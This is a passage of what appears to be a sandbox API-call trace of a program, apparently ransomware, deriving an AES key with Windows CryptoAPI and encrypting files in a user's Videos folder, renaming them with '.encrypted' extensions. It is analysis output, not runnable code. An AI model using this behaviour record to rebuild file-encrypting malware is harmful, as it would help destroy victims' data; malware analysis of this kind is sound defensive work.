lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.encrypted.swf\r\n", lpUsedDefaultChar=0x0) returned 99 [0029.415] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40662f0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40662f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x62, lpOverlapped=0x0) returned 1 [0029.415] CloseHandle (hObject=0x188) returned 1 [0029.416] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.416] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.416] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.416] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.417] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.418] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.418] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.418] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0029.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv", cchWideChar=81, lpMultiByteStr=0xe8f4069710, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv", lpUsedDefaultChar=0x0) returned 81 [0029.419] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\yrtyc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0029.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=81, lpWideCharStr=0xe8f416dee0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv") returned 81 [0029.419] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.420] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.420] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.420] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.421] CloseHandle (hObject=0x188) returned 1 [0029.421] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.421] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.421] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.421] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.421] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.422] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.422] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.422] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.422] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.423] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.423] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.423] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.424] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.424] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.424] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.424] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.425] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.425] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0029.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.427] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\Yrtyc.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\yrtyc.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.427] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.427] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.427] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.427] PeekMessageW (in: 